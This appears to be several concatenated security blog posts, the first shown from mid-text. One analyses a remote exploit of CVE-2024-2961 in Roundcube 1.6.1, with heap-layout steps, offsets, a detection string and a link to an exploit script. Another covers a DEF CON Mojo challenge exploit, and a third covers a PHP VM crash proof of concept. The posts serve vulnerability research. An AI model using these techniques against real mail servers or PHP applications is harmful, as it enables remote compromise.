  1. (n/2) * alloc_value(k_i, x)
  2. 布置我们期望的内存环境
  3. (n/2) * free_value(k_i)

如果n是奇数:

  1. ((n+1)/2) * alloc_value
  2. 布置我们期望的内存环境
  3. (n/2) * free_value(k_i)
  4. alloc_key(x)

整体来看,需要把我们构造的过程夹在中间。

总的来说,通过HTTP参数来进行内存布局,可能未来会成为一个远程利用PHP漏洞的范式。

鉴赏一个非常难搞的内存布局

通过以上的6个cases,读者对利用HTTP请求来布置内存应该有一定的感觉。但是现实里面我们需要处理的问题,往往是让人猝不及防的。它还是和case 6 讨论的问题有关系。如果我们不能通过padding slots来规避额外的内存操作影响,该怎么吗? 现实中可能存在这样一个问题,

  1. 最初的freelist: F1 -> F2 -> F3 -> F4 -> A -> D -> B -> C,其中A -> D -> B -> C是我们期望的内存。
  2. 经过一段时间的PHP脚本执行,到达了特定的程序位置,freelist变成了: F1 -> D -> B -> C.

具体来说,在某个时间段,我们同时使用了F1, F2, F3, F4, A,但最后我们释放了F1,而其他slots没有被释放。这种情况我们并不能通过简单地通过增加padding slots来规避,比如我们再加一个F5

  1. F1 -> F2 -> F3 -> F4 -> F5 -> A -> D -> B -> C
  2. F1 -> A -> D -> B -> C

这个时候虽然A没有被使用,但是前面多了一个F1。

这里我们有两种解决思路:

思路1: 交换A和F1的位置

如果我们将初始freelist变成 A -> F2 -> F3 -> F4 -> F1 -> D -> B -> C,最终也可以达到我们期望的效果。这个操作等价与把A往前移到4次,因此操作可以参考case 4.

思路2: 想办法让F1被拿走

当我们填充一个F5之后,在到达特定程序位置之前,改变程序路径,让F1被拿走。亦或者你可以找到一个稳定消耗对应slots的地方。相比于思路1,这个操作比较依赖目标PHP应用。

这里比较好的策略是如果思路2可用,首先选择思路2,其次思路1。 这是为什么呢? 因为在实际中我们并不知道需要将A移动多少次,其次你可能还需要移动D, B, C... 这就麻烦了。但是两个方法都需要你去找到一个合适数量的padding slots,我觉得可以先本地测试,然后远程目标在这个范围内上下浮动。

0x03 Playing with Roundcube

前面我们实际已经提到了部分利用roundcube的细节问题,这里我们开始去真正的审视roundcube的利用过程。原文中的核心思路分为两个阶段:

  1. 泄露PHP堆上某个地址。
  2. 通过第一步确定地址,确定$_SESSION相关结构的地址; 然后去修改$_SESSION的内容,去触发某个稳定的反序列链 i.e., (unserialize($_SESSION["preferences"]))。

原文中利用方式的一些问题:

  1. 阶段1的泄露方式不稳定,整体上比较粗糙。
  2. 阶段2确定$_SESSION相关结构的地址时,用的写死offset。这导致在实际过程中基本是无法利用的,除非是和原作者一样的环境。

另外给出的exp.py和文中利用方式存在差异,文中部分利用细节是有问题的。

这篇文章针对性对其两个阶段分布做出了优化:

  1. 让阶段1更加稳定,告诉你如何根据目标环境进行调整参数。
  2. 只要阶段1能成功,阶段2可以确定大概率成功。

下面我们每一个阶段逐步分析。

阶段1: 堆地址泄露

首先介绍一下这个过程的大致思路:

  1. 首先在某个特定程序位置构造出freelist: A -> D -> B -> C;
  2. 在后续执行中,位置P0处的php_iconv拿到A,实现1字节越写B的next_free_slot指针的低地址位。然后,php_iconv执行结束后会释放A,此时freelist就变成了A -> D -> B -> C', 其中C'为C中间的某个位置;
  3. 位置P1拿到A,freelist变成了 D -> B -> C';
  4. 位置P2拿到D,这个D实际被一个PHP字符串S1使用,freelist变成了B -> C';
  5. 位置P3拿到B,freelist变成了C';
  6. 位置P4拿到C',因为C'和D存在重叠区域,在写C'过程中会修改S1的长度。
  7. 位置P5,拼接S1到其他字符串,然后输出拼接字符串。此时会输出多余的字符串,其中就包含了我们需要的堆上地址。

各P0-P5准确位置:

  • P0: roundcubemail-1.6.1/program/lib/Roundcube/rcube_charset.php:334 (iconv)
  • P1: roundcubemail-1.6.1/program/include/rcmail_sendmail.php:817 (implode)
  • P2: roundcubemail-1.6.1/program/include/rcmail_output_html.php:900 (sprintf)
  • P3: roundcubemail-1.6.1/program/include/rcmail_output_html.php:887 (json_serialize)
  • P4: roundcubemail-1.6.1/program/include/rcmail_output_html.php:900 (implode)

可以看到都是PHP内部函数消耗了相应slots。

我不想详细介绍上述整体过程,原文讲的很好。原文详细地讲述了是如何让每个位置恰好拿到对应的slots的。下面我们讲一些稍微细节的地方,这些细节大概率可以帮你回答你在读原文时产生的一些疑惑 (我希望)。

为什么选择了0x800作为目标slots大小?

前面提到的freelist上A,B,C,D都是0x800-slots。原文提到的原因如下:

sprintf() allocates a chunk of size 0x800 to store the result string, which forces us into attacking on this chunk size.

这个sprintf位于前面提到P2。你如果仔细查看了sprintf的代码[6],你会发现sprintf总是会申请240 * (2 ^ n)大小的内存。当n = 3等于3时,其申请的内存会对齐到0x800上。那么实际不使用0x800也是完全可以,比如还可以使用0x400 (n = 2)。

一个异常0x800 slot

文章利用方式要求P0处的freelist为A -> D -> B -> C,以便于php_iconv可以拿到A。传入这里的php_iconv的值来源于_to参数 (目标邮件地址),其参数大小l接近0x800,以便于在使得l + 32可以直接拿到0x800。但是非常致命一个东西来了,在P0位置的前面不远处,会调用一次mb_convert_encoding($input, 'UTF-8', 'UTF-8')来处理_to参数。Roundcube中的注释提到是为了清理掉一些invalid characters. 那么这里我们感兴趣的运行逻辑可以简化为:

1
2
$out1 = mb_convert_encoding($input, 'UTF-8', 'UTF-8');
$out2 = iconv("UTF-8", "ISO-2022-CN-EXT", $out1);

前面我们提到了_to参数的大小是接近0x800,并且是可以对齐到0x800,意味着在mb_convert_encoding这里会使用一个0x800-slot。这会导致什么问题呢? 在P0处理完之后,直到P1处理开始,freelist会变成 F -> A -> D -> B -> C。没错,多了一个0x800,导致后续利用出问题。这是作者文章中没有提到的东西,因此这是一个异常0x800-slot申请。

这个地方必须要解决掉,我的基本思路是让_to变小,使得mb_convert_encoding不会拿到0x800-slot,但是php_iconv依然可以拿到0x800-slot并造溢出。这里借助了php_iconv的多步转换。设_to参数长度为lphp_iconv转换过程如下:

  1. output buffer初始化为l + 32,因为我们调小了l,这一步并不会拿到0x800。
  2. 当初始output buffer被用完,但是input buffer还没有处理完时,php_iconv会扩容output_buffer。扩容之后的大小为2l + 32,这时我们再拿到0x800,实现越界写。

那么这里如何计算l呢? 其约束条件如下:

1
align8(2 * l + 32 + 24 + 1) = 2048 ===> l = 995

其中24表示PHP string header大小,1字符串表示结尾的\x00align8表示最终申请内存需要对其8的倍数。align8这里比较关键,可以看到2 * 995 + 32 + 24 + 1 == 0x7FF并不是 0x800。那么我们如果设计这995个字符呢? 它的形状应该如下

1
P | n * "劄\n" | 劄 |

我们使用劄\n来扩容原始的字符串,最后依然是是用来实现越界写,再补上一些合适ascii字符来作为padding。其对应的约束应当为

1
(3 + 32 + 995) - (6x + 5y) = 1 ===> 6x + 5y = 1029 ===> x = 169, y =  3

首先此时需要多增长995个字符,1表示我们需要这时output buffer只空余1个字符,因为此时output buffer实际大小只有0x7FF。

拿到C'是implode()而不是sprintf()

拿到C' slot的过程是发现在P4,文章中说是在最后sprintf()中拿到了它。

The sprintf() call adds a few bytes to this, and results in a new chunk of size 0x800 being allocated, in C'.

实际这是不可能做到的,而真正拿到C'实际是在P4中的implode()。首先我们在P0这里改写了B的next_free_slot指针最低位,再结合我们在文章最初提到的溢出字符串组合。这个最低位只可能被改写成: 48, 49, 4A, 4B, 4C, 4D。相当于C' = C + b,其中b等于前面这些值。另外,我们在前面提到了sprintf()在这里创建了一个长度为1920的字符串。因此,sprintf()最多可以写到C + 1920 + 0x4D + 24的位置上。其中1920 + 0x4D + 24 = 2021是小于0x800,因此这里根本不能实现越界写。我不知道作者如何这样的认为是sprintf()拿到了这个C'。

阶段2: 修改$_SESSION

首先介绍一下这个过程的大致思路:

  1. 借助阶段1得到的堆上地址,确定$_SESSION数组的bufferfly地址 A1,其最终会落在0x500-slot上。关于bufferfly相关内容可以看原文,也可以去看我之前写一篇文章[7]。
  2. 将0x400-slot作为php_iconv中目标溢出slot,在内存布置阶段,申请大量的0x400-slots,并且在这些slots中特定位置写入A1附近位置的地址A2,然后释放它们填充对应的freelist。其freelist为: ... -> A -> B -> C -> D -> ...
  3. 在P0位置中的php_iconv拿到某个其中的0x400-slot,比如A,触发溢出,将其连续位置上的下一个0x400-slot B的next_free_slot指针改写。这个时候freelist就变成了 ... -> B -> C' -> A2 ..., 注意这个B需要存在与freelist之中,C'里面包含就是在step2里面写入的A2。
  4. 在P6位置处,大量申请0x400,最终拿到A2,写掉$_SESSION数组的bufferfly,新增一个$_SESSION["preferences"],它的值为可利用的反序列字符串。
  5. 为了存放字符串"preferences"和相关反序列字符串,并获取它们的地址。布置0x500-slots对应freelist成为一个net (参考前case 5),使得A1刚好落在这个net的某个洞上,而在其连续位置上的下一个0x500-slot中存放前面这些我们需要的字符串。自然地,这些字符串的地址为A1加上相应的offset。

其中P6位于roundcubemail-1.6.1/program/lib/Roundcube/rcube_mime.php:parse_address_list(...)

同样我不会详细介绍每一步的细节,原文写的比较好。这里我提两个细节问题。

如何确定$_SESSION数组的bufferly地址

原文给出的exp.py里面用的是一个死offset。

SESSION_BUCKETS_ADDR = HEAP_BASE_ADDR + 0xA2000 - 0x100

这显然是没有办法在其他环境使用的,我们如何优化它呢? 这里我们可以来爆破这个地址,提前是让这个bufferfly靠近我们泄露在阶段1泄露的地址。为了实现这个前提,我们可以在阶段2开始之前,做一些额外的内存操作,使得阶段2的PHP内存初始环境,比较接近在阶段1在布置泄露的地址相关内存之后的内存环境。在阶段2里面做的这些额外内存操作,我将其称之为memory fix。

优化0x400-slots的freelist布置

原文给出的exp.py给出0x400-slots布置如下:

1
2
10 * alloc_value(a[i], 0x400)
free_value(a)

我们可以看一下这样布置之后freelist应该长是什么样子。在最初0x400-slots基本是没有怎么使用的,那么初始化状态下freelist应当为

1
A -> B -> C -> D -> E -> F -> ...

经过上述alloc/free之后,会变成

1
... -> F -> D -> B -> E -> C -> A

这样的话,高地址位的slots总是会被优先使用,使得阶段2中第3步极有可能失败。这时候最好将其再逆序一下。

总的来说,这种data-only利用方式是极为有用的,阶段2整个利用过程还是比较流畅的。虽然阶段2里面还要一些比较重要的细节,但是这些细节作者都兼顾了,具体可以看作者的文章和给出的exp.py。

0x04 检测CVE-2024-2961

这里我们可以通过一串magic string来检测目标roundcube是否存在CVE-2024-2961。

aa劄劄劄a硇h瞘b碶c磘g硄d硇e礮

其大概原理就是,roundcube会首先根据_charset参数,将接受到相关参数从利用iconv utf8转到_charset。这一步会发生overflow,导致最终output buffer少了一个字节。最后roundcube又会将前面转换得到的字符串再转回utf8来进行内部处理,最后输出。至于我是怎么构造这一串magic string的,可以参考ISO-2022-CN-EXT的标准和相关字符集。

0x05 改进的DEMO

最终改进的利用方式位于 https://github.com/m4p1e/php-exploit/blob/master/CVE-2024-2961/exp.py

相关的执行结果如下,我本地大概爆破了153 * 2次,这个次数可以改进。

Improved DEMO

0x06 总结

在这篇文章中我主要阐述了一些part2 [2]中的利用细节,以及我是如何处理它们的。非常适合想要深入理解PHP内核安全的同学去研究一下。

相关引用

  1. Iconv, set the charset to rce: exploiting the glibc to hack the php engine (part 1), https://www.ambionics.io/blog/iconv-cve-2024-2961-p1
  2. Iconv, set the charset to rce: exploiting the glibc to hack the php engine (part 2), https://www.ambionics.io/blog/iconv-cve-2024-2961-p2
  3. PHP filter extension, https://www.php.net/manual/en/book.filter.php
  4. CVE-2023-3824: 幸运的Off-by-one (two?), https://m4p1e.com/2024/03/01/CVE-2023-3824/
  5. Zend/zend_alloc_sizes.h, https://github.com/php/php-src/blob/master/Zend/zend_alloc_sizes.h
  6. PHP sprintf(), https://github.com/php/php-src/blob/master/ext/standard/formatted_print.c#L755
  7. PHP之殇 : 一个IR设计缺陷引发的蝴蝶效应, https://m4p1e.com/2024/03/13/bad_php_ir/

以安全的视角浅谈新生代专为AI设计的语言Mojo

0x01 介绍

在刚刚过去的defcon quals 2024上出现了Mojo[1]写的应用,看见了小伙伴对它的吐槽,我也很好奇它到底是怎样的一个语言,决定深入探索一下。Mojo的主推者Chris Lattner同时是LLVM和Swift的创始人,我想这样优秀的编程语言领域工程师,品控一定不会太差。很早之前就听闻过Mojo,但是一直没有尝试过去了解它,对它的印象仅仅是来源于它本身的一个宣传 "专为AI设计的语言,兼容Python,并且要比Python快xxx倍"。那么我觉得它的定位,或者说试用人群,应当是那些以Python为主,并且想要写出高质量的代码的AI工程师

接下来文章,首先我会介绍Mojo的一些基础知识和包括调试过程,然后去理解defcon中出现的Mojo应用中存在的问题以及利用的方式,最后给出我个人对Mojo的一些看法。

0x02 Mojo基础

2.1 deffn函数

Mojo支持以两种函数定义,但是实际上deffn一个语法糖。前者对标了Python中的def,相对来说更加的灵活,主要体现函数参数和返回值不需要显示地指明类型,函数体中的变量定义不需要显示使用var, 下面是一个简单的def函数例子:

1
2
3
def greet(name):
greeting = "Hello, " + name + "!"
return greeting

看起来和Python似乎并没有太大的区别,可以说一模一样。而fn则是需要让def可选的东西全部变成必须,对标上面的例子的fn函数:

1
2
3
fn greet(name: String) -> String:
var greeting = "Hello, " + name + "!"
return greeting

使用了强制的类型检查,可以看做是fndef的strict版本。

2.2 变量,类型与结构

Mojo允许定义一个指定类型的变量 (i.e.,var id : Int)。Mojo拥有所有的基本类型,对于number类型分的比较细(i.e.,Int8, Int16 Int32, Int64, Float32, Float64等等),并且用于拥有一些特殊类型:

  1. SIMD类型,支持各种SIMD操作 (single instruction, multiple data)。你可以通过它来定一个固定长度的向量,并且高效地现实各种向量操作。
  2. Register-passable和Memory-only类型,根据变量所在的位置来区分它们。

更多的类型可以查看它们的官方文档。Mojo没有class的概念,与之对应是struct,这一点和Go比较类似,但它拥有和Python类似的magic methods.

2.4 值语义和引用语义

Mojo同时支持值语义和引用语义。我觉得在了解一个语言的时候,是非常有必要去弄清楚它当中的值是如何传递的。值语义另外一个通俗的说法是值传递,而引用语义即为引用传递。值传递意味接收方并不会对原值产生影响,常见的值传递包括

  1. 传递一个copied value,
  2. 传递一个immutable reference,

常见的引用传递对应mutable reference. Mojo想要做到以值传递为主,并且安全地进行引用传递。

2.5 所有权机制及变量生命周期

所有权机制是当下避免GC的一个相当火热内存管理实现方案,Mojo也采用了这种方案。Mojo为此提出了三个agrument specifier:

  1. borrowed : 接受一个immutable reference作为参数。
  2. inout : 接受一个mutable reference作为参数。
  3. owned : 接受一个value, 并且当前参数是其唯一的owner。

重点理解一下owned, 这里会出现两种情况:

  1. caller把某个值的所有权交给calle。Mojo使用^来作为transfer opertor, 例如f(v^)就将v对应的value所有权传递给了f
  2. callee获得是一个copied value. 当caller并没有使用^的时候,就会以copied value来传递。

最终配合以值传递为主,Mojo就可以构建一个所有权机制。def所有参数默认为owned,而fn所有参数默认为borrowed。因此下面两个函数是等价的

1
2
3
4
5
def example(borrowed a: Int, inout b: Int, c):
pass

fn example(a: Int, inout b: Int, owned c: object):
pass

另外Mojo中显式的引用是以Reference类型出现的,它对应的dereference operator为[],这一点对于我来说比较奇怪,因为它经常和数组操作绑定在一起。比较奇特是Mojo对于变量生命周期的规定: 当一个变量不活跃之后,Mojo会马上释放它,而不是在等到某个destruction阶段,比如function desctruction。所以值得注意是的,你如果想在调试的时候一直hold某个值到函数结束,必须在函数结尾添加一个特殊的use。

本文需要的Mojo基础知识就这些了,后问会再提及一些Mojo基本类型的相关知识。 更多的Mojo features比如调用python代码,函数参数化和Traits等等可以查看文档,这里就不在累述了。

0x03 调试Mojo

这一节我们将介绍Mojo的编译和调试,主要对象为defcon中的应用,我后面称其为Star。

Mojo是一个比较新的语言,目前该有的基础设施都比较匮乏,所以第一个让我比较头疼的事是如何调试它。官方提供了Debugging指导[2], 使用是LLDB,区别与我常用的GDB,试了一下感觉有些别扭还有一些限制。但是配合VSCode插件还是可以用的,于是我基本路线是:

  1. VSCode+LLDB: 弄清楚Mojo基本类型的内存布局和猜一下Mojo的内存管理。
  2. GDB+Pwntools+Print大法: 检查相关应用运行时的内存。

首先给出对Mojo的第一个吐槽,没有完善的异常处理。这表现出问题直接就是segmentfault,也不知道是为啥。比如需要在编译时通过环境变量MOJO_PYTHON_LIBRARY指定libpython来引入Python runtime,如果你Mojo里面调用了Python代码。当你没有指定时,也会编译通过,然后运行就segfault,通过GBD看backtrace和Star的编译脚本最终才确定原因。我们可以通过下面的方式来实现addressof

1
Reference(target_var).get_unsafe_pointer()

UnsafePointer支持直接打印。第二个需要吐槽是Mojo是编译速度极慢,甚至是一个极小的程序。

3.1 Patches

Star的目标Mojo版本为mojo-24.2.0,但是Star所呈现的问题,在latest版本依然存在,所以我直接使用了它。因此在编译Star之前需要做一些简单的patches:

  • 将所有的Reference.get_unsafe_pointer()换成Referecen.get_legacy_pointer().

  • 使用Python代码中的对象之前,都需要对其解引用,例如

    1
    2
    3
    4
    5
    6
    7
    py_app = Python.import_module('app').App
    py_app.value()

    # 换成

    py_app = Python.import_module('app').App
    py_app.value()[]

3.2 基本类型List

基本类型的定义都可以在官方stblib[3]中找到。这里重点介绍一下List,它对标Python中的List。它的基本定义为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#https://github.com/modularml/mojo/blob/main/stdlib/src/collections/list.mojo#L90
struct List[T: CollectionElement](CollectionElement, Sized, Boolable):
"""The `List` type is a dynamically-allocated list.

It supports pushing and popping from the back resizing the underlying
storage as needed. When it is deallocated, it frees its memory.

Parameters:
T: The type of the elements.
"""
var data: UnsafePointer[T]
"""The underlying storage for the list."""
var size: Int
"""The number of elements in the list."""
var capacity: Int
...

可以看到Mojo的List实现是unsafe的。它在内存的分布为

struct的字段分布是顺序的。值得注意是List的操作中并没有越界检测以及释放后将data pointer置NULL,已经用户反应了的此类问题[4]. 官方打算支持但是目前还没有时间。这一点是非常震惊我的,这意味OOB和UAF在Mojo是很容易做的。

3.3 基本类型String

它本质是一个List

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#https://github.com/modularml/mojo/blob/main/stdlib/src/builtin/string.mojo#L328
struct String(
Sized,
Stringable,
IntableRaising,
KeyElement,
Boolable,
Formattable,
ToFormatter,
):
"""Represents a mutable string."""

alias _buffer_type = List[Int8]
var _buffer: Self._buffer_type
...

0x03 Star中的问题

Star本身涵盖了defcon中的两个题目,第一个是一个越权问题,第二问题发生在privileged功能中,我不会过多的阐述如何利用第一个越权问题,假设我们已经拥有了想要的权限。Star是一个类似Web应用,注册了相关的路由,用来处理用户请求,其中某些路由是privileged。而Star本身的功能是实现了一个Database, 具有collections和fragments的概念,用户可以在database中新增和修改它们。Star不仅包括Mojo代码,也包括Python相关代码,前者会调用后者。

第二个问题和前面提到的owned标识符有关。因为原应用相对比较复杂,我用伪代码来阐述这里的问题, 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct App:
var db: Database

async fn add_collections (inout self: Self, name: String):
self.db.collections.add(Collection(name))

async fn add_fragment (inout self: Self, col_index: Int, var data: String):
if col_index < len(self.db.collections):
self.db.gef_ref(col_index)[].fragments.add(Fragment(data))

async fn do_modify(inout self: Self, col_index: Int, fra_index, filter : String, value: String):
if re.match(self.db.collection[col_index][fra_index]):
self.db.collection.gef_ref(col_index)[].fragments.history.get_ref(fra_index)[].add(value)

async fn modify_fragments (inout self: Self, owned db: Databse, owned filter: String, owned value: string, dict Dict[int,int]):
for e in dict.items():
var col_index = e.key()
var fra_index = e.value()
if col_index < len(self.db.collections) and fra_index < len(db.collections[col_index].fragments)
await do_modify(col_index, fra_index, filter, value)
...

这里App含一个Database实例, 它里面有4个async函数 (async函数运行实例在Mojo中视为一个coroutine):

  1. 添加一个collection.
  2. 在指定的collection中添加一个fragment.
  3. 更新指定的fragments,用一个dict来给定它们的位置。此外还有一个正则表达式filter,用来匹配指定的fragments.
  4. 根据filter匹配fragment,对匹配到的fragment,在其history (类型List) 中新增给定的value.

这里的问题出现在一个非常细微的地方,在modfiy_fragments中传进来了一个db,它的标识符为owned,并且在后面的if第二个条件使用了它。当调用形式为self.modify_fragments(self.db, ...)db就会是一个copied value,它和self.db是两个独立的东西。这就造成了if的两个条件使用的database实例是不一样, 可能潜在的导致上面的bound check if失败。 这个地方看起来似乎是比较刻意的,但是我觉得这样的隐式拷贝是非常有可能出现在实际中的,如果用户没有正确地理解Mojo中的值传递概念。

0x04 利用

[5]给出的solution需要通过race来绕过bound check实现OOB。具体的方案是构造两个coroutine:

  1. coroutine1: 调用modify_fragments,指定fragment dict形如{0:0, 0:0, ...., N:M},其中col:0, fra:0是存在的fragment,而col:N, fra:M是不存在的fragment,我们假设只有一个collection。 通过精心地构造存在的fragment内容和传入filter,我们可以在do_modify中实现RE-Dos,用来延迟最后关于col:1, fra:20的访问。
  2. coroutine2: 调用add_collections,往app.db中新增collections,使得当coroutine1访问col:N, fra:M通过if的第一个条件,而在第二个条件上发生OOB(因为copied db不会发生变化)。

但是即使发生了OOB,也需要让绕过第二条件,由此达到do_motify中的OOB write。我们可以通过调整N来找到一个合适的faked collection, 使得它当中用于记录fragments的List对应的len字段大于M。这一点很容易做到,因为堆上往往有很大的随机数字,因此这里大概率不需要使用堆喷。并且Mojo runtime没有对List的额外效验,所以伪造List比较简单。

注意modfiy_fragments具体操作是对fragment中的history list新增一个string。[5]中使用了堆喷来布置大量的faked fragments, 并且使得其中list的data_pointer指向Star的路由表对应list,然后调整M,使得正好访问这些faked fragments中的一个, 实现对路由表的修改。此时路由表所在位置实际存储是一个string,但是前面我们说过,string本身还是一个list, 因此我们可以这个string上未知任意的路由表。最终将其劫持到一个Star本身给定的exploitable的函数上。其完整的利用过程如下:

0x05 总结

回到最初我们提到的Mojo的使命,它是否可以让以Python为主的AI工程师进行高效地工作呢? 目前看来它还达不到。

引入的所有权机制无疑会增加工程师们心智上的负担。比如在写某个函数的时候,就会陷入我这个参数应该用哪个标识符呢?在Python里面你似乎没有这样的顾虑,而你忧虑的性能也许Python已经帮你顾及到了,例如reference counting + copy on write可以在一定程度上弥补使用immutable reference带来的性能。其次,如果某个地方涉及到了ownership的传递,而你不小心少写了一个transfer operator,可能性能也因此不会变好。但是,我觉得Mojo上ownership model的实现上要比Rust看起来更加的清爽。

相比于一次性写出高效的算法实现,当下我更加同意另外一个观点,有人负责算法的实现,有人负责实现上的优化,彼此分工合作,那这是不是也意味Python只是缺少一些更加高效的JIT技术呢?另外一个,在stdlib中各种乱飞的unsafe和直接使用MLIR的操作,比较令人担忧。但是无论如何它是在MLIR上的一个native language, 相比于那些喊着口号为AI设计的语言,要更贴切主题一些。

总之,Mojo目前依然还不是一个成熟的语言,但是它在往前走,是否哪一个语言不需要个把年来沉淀?对此我还是比较期待它的未来的,愿意接受新事物的同学,可以大胆一探究竟。

0x06 引用

  1. Mojo官方文档, https://docs.modular.com/mojo
  2. Mojo Debugging, https://docs.modular.com/mojo/manual/values/ownership
  3. Mojo stdlib https://github.com/modularml/mojo/tree/main/stdlib
  4. Use-after-free / Out-of-bound on Mojo Pointer, https://github.com/modularml/mojo/issues/142
  5. Star solver, https://github.com/Nautilus-Institute/quals-2024/blob/main/%F0%9F%8C%8C/solver/solver.py

The Elegy of PHP : The Butterfly Effect of an IR Design Flaw

0x01 Issues in IR Design

1.1 Source of the Problem

I first learned about this from Laruence (鸟哥) who is a core member of PHP development group. His blog was a place I often visited when I was studying the PHP internals in the early days. In 2020, Laruence posted an article titled "Understanding the HashTable of PHP 7 Internals in Depth" [2]. At the end of the article, he mentioned an issue:

In implementing zend_array to replace HashTable, we encountered many problems, most of which have been solved. However, one problem remains unresolved. Because arData is continuously allocated now, when the array grows to the point of needing to be resized, we can only realloc memory. However, the system does not guarantee that the address will not change after you realloc. So, it is possible that:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
phpCopy code<?php
$array = range(0, 7);

set_error_handler(function($err, $msg) {
global $array;
$array[] = 1; //force resize;
});

function crash() {
global $array;
$array[0] += $var; //undefined notice
}

crash();

In the example above, $array is a global array, then it is referenced in the function crash, in the += opcode handler, zend vm will first get the content of array[0], then +$var. But $var is an undefined variable, so at this time, an undefined variable notice will be triggered. Meanwhile, we set an error_handler, in which we add an element to this array. Because arrays in PHP are pre-allocated with 2^n space, at this point, the array is full and needs to be resized, so realloc occurs. After returning from the error_handler, the memory pointed to by array[0] may have changed, resulting in memory read and write errors, or even segfaults. Interested students can try running this example with valgrind to see.

But the trigger conditions for this problem are quite numerous, fixing it would require additional modifications to the data structure, or splitting the add_assign could impact performance. Additionally, in most cases, due to the existence of the array's pre-allocation strategy and the fact that most multi-opcode handler read-write operations are basically close, this problem is actually difficult to be triggered by actual code. So, this problem has been hovering.

Even today, this problem still hovers. For the most of PHP developers, this may indeed not be a significant issue, but for an experienced security researcher, there may be a serious security issue hidden here. Because it is one of the few issues I have seen in the PHP VM rather than in various PHP native libraries. Once exploitable, the impact will be significant. So, this problem has always been on my mind, and it has been in my PHP-exploit repo as crash.php [3] for 4 years. Especially, as long as you run it with PHP 7 or 8, it will cause a segmentfault, and I don't know if anyone has tried it.

1.2 Resistance to Fixing the Problem

Laruence's explanation is very clear, here I try to use more popular pseudo-code to further help readers who are not familiar with the PHP internals understand what PHP VM is doing at line 11:

1
2
3
4
5
6
7
8
9
// array = [0, 1, 2, 3, 4, 5, 6, 7]
arr_base = get_base_addr_of(array)
elem_addr = get_addr_by_index(array_base, index)
elem = get_elem_from_addr(elem_addr)
// elem is ok
check_var(var)
// is elem ok?
res = add(elem, var)
assign_var_to_elem(elem, res)

Here are a few things done here:

  1. First, we get the starting address of the memory area where array stores elements.
  2. Get the memory address of the specific element specified by index.
  3. Read the element from elem_addr to elem.
  4. Check the legality of var. More specifically, when var is an explicitly defined variable in PHP code (i.e., $a), check if it has been defined. If var is an undefined PHP variable, then the VM initializes its value to null. Because the VM cannot directly expose undefined to user code.
  5. Perform arithmetic addition on elem and var to get the result res.
  6. Finally, assign res to elem.

The problem occurs at line 6, where check_var(var) may have side effects, thus clobbering the world. I learned this term from JavaScriptCore (the WebKit's JavaScript engine), where the appearance of side effects may cause previous computation results unavailable. In this case, we cannot directly use these computation results. Is elem still correctly pointing to the target element to be written after line 6? We cannot be sure after line 6, because the memory address it points to may have been released, and the correct target element position may have been moved to another memory.

The above is actually a rough explanation of the PHP opcode ZEND_ASSIGN_DIM_OP, and you can find the complete explanation in [4]. So why hasn't this problem been fixed? Good question. Let's start with a few intuitively feasible simple fixes to explain where the resistance to fixing lies. Here, I use array->arData to represent the memory address pointing to the first element, and the rest of the elements of array are sequentially located after it.

Simple Fix 1: Check if elem is still located at the relative position of array->arData after line 6

This can only ensure that array->arData has not changed, but how do you guarantee no ABA problem? For example, the storage element area of array is released, then occupied by other memory structures, then released again, and then arranged as the layout of the original storage element area of array (another array2 with the same structure occupies this area).

Simple Fix 2: Move check_var to the very beginning

So you consider the following code snippet:

1
$array['a']['b'] = $var;

This code will be translated into intermediate code similar to the following:

1
2
3
L0 : V2 = FETCH_DIM_W CV0($array) string("a")
L1 : ASSIGN_DIM V2 string("b")
L2 : OP_DATA CV1($var)

Here we consider ZEND_ASSIGN_DIM without binary operations. The above code is equivalent to:

1
2
V2 =& $array['a'];
V2['b'] = $var;

Where V2 points to the position of the index 'a' element in $array, so I use =& here to emphasize that V2 is not $array['a']. So, the problem arises, if the side effects in line 2 cause $array to be resized, then the position pointed to by this V2 is incorrect.

This problem is destined not to be simply fixed.

1.3 unset and reassign

You can try replacing the previous resize operation with unset or reassign, as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
phpCopy code<?php
$array = range(0, 7);

set_error_handler(function($err, $msg) {
global $array;
// $array = 2;
unset($array);
});

function crash() {
global $array;
$array[0] += $var; //undefined notice
}

crash();

There are some differences between the two cases:

  1. unset($array) simply "cleans up" $array in the current function scope and does not affect the global variable $array, so there is no problem here.
  2. $array = 2 will affect all places that reference it, so the same problem as resizing occurs here.

Interestingly, the official has already noticed such problems, for example, it checks the side effects caused by undefined index (i.e., $arr[$undef_var] = 1). But no check is made on the value to be written.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static zend_never_inline zend_uchar slow_index_convert(HashTable *ht, const zval *dim, zend_value *value EXECUTE_DATA_DC)
{
switch (Z_TYPE_P(dim)) {
case IS_UNDEF: {
/* The array may be destroyed while throwing the notice.
* Temporarily increase the refcount to detect this situation. */
if (!(GC_FLAGS(ht) & IS_ARRAY_IMMUTABLE)) {
GC_ADDREF(ht);
}
ZVAL_UNDEFINED_OP2();
if (!(GC_FLAGS(ht) & IS_ARRAY_IMMUTABLE) && !GC_DELREF(ht)) {
zend_array_destroy(ht);
return IS_NULL;
}
// ...

Here it first increases the reference count of ht (HashTable is an alias of zend_array) to hold this array. Then, after the error handling function returns, it subtracts the previously added reference count. If the reference count has not changed, it means that the array has not been released.

1.4 Possible fixes

Changing ZEND_ASSIGN_DIM or ZEND_ASSIGN_DIM_OP (including all array fetch operations) to support multi-index is what I think is the most direct approach. For example, the previous $array['a']['b'] = $var; will be translated to:

1
2
L0 : ASSIGN_DIM CV0($array) [string("b"), string("b")]
L1 : OP_DATA CV1($var)

And before this, all indexes and expressions corresponding to the value to be written are calculated. Note that this will not change the current PHP evaluation order. Consider the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

function func1() {
echo "func1\n";
return 1;
}

function func2() {
echo "func2\n";
return 2;
}

$a = [];
set_error_handler(function($err, $msg){echo $msg."\n";});
echo $a[func1()][func2()];
/* output at PHP 8.3.3:
func1
func2
Undefined array key 1
Trying to access array offset on null
*/

You can check that all indexes are calculated first.

1.5 Things are Never as Simple as They Seem

